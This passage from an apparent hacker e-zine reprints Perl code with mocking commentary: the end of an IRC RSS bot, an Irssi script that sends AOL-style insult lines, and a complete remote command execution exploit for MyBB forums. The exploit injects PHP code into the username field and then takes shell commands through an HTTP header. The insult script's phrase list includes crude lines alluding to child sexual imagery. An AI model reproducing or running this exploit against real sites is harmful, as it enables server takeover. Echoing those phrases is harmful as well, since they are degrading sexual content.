  my ($self, $event) = @_;
  $self->ctcp_reply ($event->nick, 'VERSION RSS->RSS Notify');
}

$conn->add_handler('cversion', \&on_cversion);

## The RSS Feed
use vars qw (@items);

# Fetches the RSS from server and returns a list of items
sub fetch_rss {
  my $ua = LWP::UserAgent->new (env_proxy => 1, keep_alive => 1, timeout => 30);
  my $request = HTTP::Request->new('GET', $rss_url);
  my $response = $ua->request ($request);
  return unless ($response->is_success);
# you could just use LWP::Simple::get()
  my $data = $response->content;
  my $rss = new XML::RSS ();
  $rss->parse($data);
  foreach my $item (@{$rss->{items}}) {
  # I personally guarantee you didn't write that yourself
    # Make sure to strip any possible newlines and similar stuff
    $item->{title} =~ s/\s/ /g;
  }
  
  return @{$rss->{items}};
}

# Attempts to find some newly appeared RSS Items
sub delta_rss {
  my ($old, $new) = @_;
  
  # If @$old is empty, it means this is the first run and we will therefore not do anything
  
  return () unless ($old and @$old);
# return () unless @$old;
  # We take the first item of @$old and find it in @$new.
  # Then anything before its position in @$new are the newly appeared items which we return.
  
  my $sync = $old->[0];
  
  # If it is at the start of @$new, nothing has changed
  
  return () if ($sync->{title} eq $new->[0]->{title});
  
  my $item;
  for ($item = 1; $item < @$new; $item++) {
  # for my $item (1 .. @$new) { # at least!
    # We are comparing the title whcih might not be 100% reliable but
    # RSS streams really should not contain multiple items with the same title
   
    last if ($sync->{title} eq $new->[$item]->{title});
  }
  
  return @$new[0 .. $item - 1];
  # you do know ..
  # ignorance was never an excuse!
}

# Check RSS feed periodically.
sub check_rss {
  my (@new_items);
  # why? why?
  print "Checking RSS feed [".$rss_url."]...\n"; # could just keep $rss_url in the quotes
  @new_items = fetch_rss ();
  if (@new_items) {
    my @delta = delta_rss (\@items, \@new_items);
    foreach my $item (reverse @delta) {
        $conn ->privmsg ($channel, '"'.$item->{title}.'" :: '.$item->{link});
    }
    @item = @new_items;
  }
alarm $refresh;
}

$SIG{ALRM} = \&check_rss;
# three cheers for signals
check_rss();

# Fire up the IRC loop
$irc->start;
# yes, let's get this party started

-[0x0C] # Hello bantown --------------------------------------------------

What's nice about bantown is that they are relatively competent. They get shit done.
They aren't all talk. Despite the repulsive exterior, these guys do shit. What
particularly attaches our sympathies to them is that they use quality Perl scripts
and give credit to them. This script isn't perfect, but its pretty nice, and of course
gets the job done. It's very tempting to criticize this code, but I will refrain
because this is the worst of the scripts they advertise, but the smallest to include.
Here's to bantown and classy idiocy!

#
# aol.pl adapted from aol.scr
#
# author: cj_ <[email]rover@gruntle.org[/email]>
#
#/aolsay       [to send a random aolsay to the channel
#/colaolsay   [colorize above]
#/aolmsg <nick> [to send a random aolmsg to <nick>
#/aoltopic     [to set a random aoltopic on the channel
#/aolkick <nick> [to kick an aol lamer with a random aolkick msg
#

use Irssi;
use Irssi::Irc;
use strict;

our $VERSION = "0.02";

###############################
# these are the main commands #
###############################

sub aolsay { _aolsay("", @_) }
sub colaolsay { _aolsay("r", @_) }
sub aolkick { _aolkick("", @_) }
sub colaolkick { _aolkick("r", @_) }

sub _aolsay {
  my ($flags, $text, $server, $dest) = @_;

  if (!$server || !$server->{connected}) {
    Irssi::print("Not connected to server");
    return;
  }

  return unless $dest;

  my $phrases = phrases();
  my $resp = $$phrases[int(rand(0) * scalar(@$phrases))];

  $resp = rainbow($resp) if $flags =~ /r/i;

  foreach my $line (split(/\n/, $resp)) {
    if ($dest->{type} eq "CHANNEL" || $dest->{type} eq "QUERY") {
        $dest->command("/msg " . $dest->{name} . " " . $line);
    }
  }
}

sub _aolkick {
  my ($flags, $text, $server, $dest) = @_;

  if (!$server || !$server->{connected}) {
    Irssi::print("Not connected to server");
    return;
  }

  return unless $dest;

  my $phrases = phrases();
  my $resp = $$phrases[int(rand(0) * scalar(@$phrases))];

  $resp = rainbow($resp) if $flags =~ /r/i;

  $dest->command("KICK $text $resp");
}

sub rainbow {
  # take text and make it colorful
  my $text = shift;
  my $row = 0;
  my @colormap = _colormap();
  my $newtext;

  foreach my $line (split(/\n/, $text)) {
    for (my $i = 0; $i < length($line); $i++) {
        my $chr = substr($line, $i, 1);
        my $color = $i + $row;
        $color = $color ? $colormap[$color %($#colormap-1)] : $colormap[0];
        $newtext .= "\003$color" unless ($chr =~ /\s/);
        my $ord = ord($chr);
        if (($ord >= 48 and $ord <= 57) or $ord == 44) {
          $newtext .= "\26\26";
        }
        $newtext .= $chr;
    }
    $newtext .= "\n";
    $row++;
  }

  return $newtext;
}

sub _colormap {
  # just data for the rainbow routine
  my @colormap = (
    4,4,
    7,7,
    5,5,
    8,8,
    9,9,
    3,3,
    10,10,
    11,11,
    12,12,
    2,2,
    6,6,
    13,13,
  );

  return @colormap;
}


# command bindings
Irssi::command_bind("aolsay", \&aolsay);
Irssi::command_bind("colaolsay", \&colaolsay);
#Irssi::command_bind("aolmsg", \&aolmsg);
#Irssi::command_bind("aoltopic", \&aoltopic);
Irssi::command_bind("aolkick", \&aolkick);
Irssi::command_bind("colaolkick", \&colaolkick);

sub phrases {
  my @phrases = (
    'ALL OREAND THE GIFCHERRY BUSH DA BOON CHASED DA WHEASELGIFPASTECLITNUGGET SHIT]',
    'PHRASES CUT OUT DUE TO LACK OF RELEVANCE',
    'KEWLI0, EYEV BIN WAITNIG FER J00, WHERE ARE DOZE KIDDIESEXGIFOGRAFZ DAT J00 SAID J00D GIB MEE???/?',
  );

  return \@phrases;
}

-[0x0D] # !dSR !good -----------------------------------------------------

We avoid attacking the same targets. HOWEVER, this is fresh code, and it still isn't good, so you deserve it.

#!/usr/bin/perl
# Tue Jun 13 12:37:12 CEST 2006 [email]jolascoaga@514.es[/email]
#
# Exploit HOWTO - read this before flood my Inbox you bitch!
#
# - First you need to create the special user to do this use:
#   ./mybibi.pl --host=http://www.example.com --dir=/mybb -1
#   this step needs a graphic confirmation so the exploit writes a file
#   in /tmp/file.png, you need to
#   see this img and put the text into the prompt. If everything is ok,
#   you'll have a new valid user created.
# * There is a file mybibi_out.html where the exploit writes the output
#   for debugging.
# - After you have created the exploit or if you have a valid non common
#   user, you can execute shell commands.
#
# TIPS:
#   * Sometimes you have to change the thread Id, --tid is your friend ;)
#   * Don't forget to change the email. You MUST activate the account.
#   * Mejor karate aun dentro ti.
#
# LIMITATIONS:
#   * If the admin have the username lenght < 28 this exploit doesn't works
#
# Greetz to !dSR ppl and unsec
#
# 514 still r0xing!

# learn how to use POD, asshole

# user config.
my $uservar = "C"; # don't use large vars.
my $password = "514r0x";
my $email = "514\@mailinator.com";
# I wonder how many days you spent figuring out how to escape the @ ;]

use LWP::UserAgent;
use HTTP::Cookies;
use LWP::Simple;
use HTTP::Request::Common "POST";
use HTTP::Response;
use Getopt::Long;
use strict;

$| = 1;   # you can choose this or another one.
# the other one being...0? You realize this variable only holds those two values, right?

# Sweet, all randomly ordered in no way consistent with how they're used!

my ($proxy,$proxy_user,$proxy_pass, $username);
my ($host,$debug,$dir, $command, $del, $first_time, $tid);
my ($logged, $tid) = (0, 2);

$username = "'.system(getenv(HTTP_".$uservar.")).'";

my $options = GetOptions (
'host=s'       => \$host,
'dir=s'       => \$dir,
'proxy=s'       => \$proxy,
'proxy_user=s'     => \$proxy_user,
'proxy_pass=s'     => \$proxy_pass,
'debug'         => \$debug,
'1'         => \$first_time,
'tid=s'       => \$tid,
'delete'       => \$del);

# 1 is not a good option

&help unless ($host); # please don't try this at home.
# yes, don't.
# help() unless $host;

$dir = "/" unless($dir);
# drop the parens bitch

print "$host - $dir\n";
if ($host !~ /^http/) {
  $host = "http://".$host;
}

LWP::Debug::level('+') if $debug;
my ($res, $req);

my $ua = new LWP::UserAgent(
      cookie_jar=> { file => "$$.cookie" });
$ua->agent("Mothilla/5.0 (THIS IS AN EXPLOIT. IDS, PLZ, Gr4b ME!!!");
$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

create_user() if $first_time;
# see, there you go!

while () {
    login() if !$logged;

    print "mybibi> "; # lost connection
    while(<STDIN>) {
          $command=$_;
          chomp($command);
          last;
    }
    # chomp(my $command = <STDIN>); # you fucking noob
    &send($command);
}

sub send {
  chomp (my $cmd = shift);
  my $h = $host.$dir."/newthread.php";
  my $req = POST $h, [
    'subject' => '514', # neg on the quoting
    'message' => '/slap 514',
    'previewpost' => 'Preview Post',
    'action' => 'do_newthread',
    'fid' => $tid,
    'posthash' => 'e0561b22fe5fdf3526eabdbddb221caa'
  ];
  $req->header($uservar => $cmd);
  print $req->as_string() if $debug;
  my $res = $ua->request($req);
  if ($res->content =~ /You may not post in this/) {
    print "[!] don't have perms to post. Change the Forum ID\n";
  } else {
    my ($data) = $res->content =~ m/(.*?)\<\!DOCT/is;
  # still with the rat nasty regex
    print $data;
  }

}
sub login {
  my $h = $host.$dir."/member.php";
  my $req = POST $h,[
    'username' => $username,
    'password' => $password,
    'submit' => 'Login',
    'action' => 'do_login'
  ];
  my $res = $ua->request($req);
  if ($res->content =~ /You have successfully been logged/is) {
  # there are also useful string commands like index()
    print "
Login succesful!\n";
    $logged = 1;
  } else {
    print "[!] Error login-in\n";
  }
  # damn, this sub wasn't even bad!
}

sub help {
  print "Syntax: ./$0 --host=url --dir=/mybb [options] -1 --tid=2\n";
  print "\t--proxy (http), --proxy_user, --proxy_pass\n";
  print "\t--debug\n";
  print "the default directory is /\n";
  print "\nExample\n";
  print "bash# $0 --host=http(s)://www.server.com/\n";
  print "\n";
  exit(1);
  # use heredocs, and keep your spacing consistent with other code
}

sub create_user {
  # firs we need to get the img.
  my $h = $host.$dir."/member.php";
  print "Host: $h\n";

  $req = HTTP::Request->new (GET => $h."?action=register");
  $res = $ua->request ($req);

  my $req = POST $h, [
    'action' => "register",
    'agree' => "I Agree"
  ];
  print $req->as_string() if $debug;
  $res = $ua->request($req);

  my $content = $res->content();
  # unnecessary .* sitting around
  # read the fucking manual and learn regex
  # perldoc perlre
  # perldoc perlretut
  # perldoc perlrequick
  # perldoc perlreref
  $content =~ m/.*(image\.php\?action.*?)\".*/is;
  my $img = $1;
  # you didn't see our trick last time?
  my $req = HTTP::Request->new (GET => $host.$dir."/".$img);
  $res = $ua->request ($req);
  print $req->as_string();

  if ($res->content) {
    open (TMP, ">/tmp/file.png") or die($!);
    print TMP $res->content;
    close (TMP);
    # UGLY
    print "
/tmp/file.png created.\n";
  }

  my ($hash) = $img =~ m/hash=(.*?)$/;
  # see, you know this trick

  my $img_str = get_img_str();
  unlink ("/tmp/file.png");
  $img_str =~ s/\n//g;
  my $req = POST $h, [
    'username' => $username,
    'password' => $password,
    'password2' => $password,
    'email' => $email,
    'email2' => $email,
    'imagestring' => $img_str,
    'imagehash' => $hash,
    'allownotices' => 'yes',
    'receivepms' => 'yes',
    'pmpopup' => 'no',
    'action' => "do_register",
    'regsubmit' => "Submit Registration"
  ];
  $res = $ua->request($req);
  print $req->as_string() if $debug;

  open (OUT, ">mybibi_out.html");
  print OUT $res->content;

  print "Check $email for confirmation or mybibi_out.html if there are some error\n";
}

sub get_img_str ()
{
  print "\nNow I need the text shown in /tmp/file.png: ";
  my $str = <STDIN>;
  return $str;
}
exit 0;

This comes across as shitty code, with little bits that you stole from coders that actually know how to code.

-[0x0E] # School You: MJD ------------------------------------------------

Introduction

In my article Coping With Scoping I offered the advice ``Always use my; never use local.'' The most
common use for both is to provide your subroutines with private variables, and for this application
you should always use my, and never local. But many readers (and the tech editors) noted that local
isn't entirely us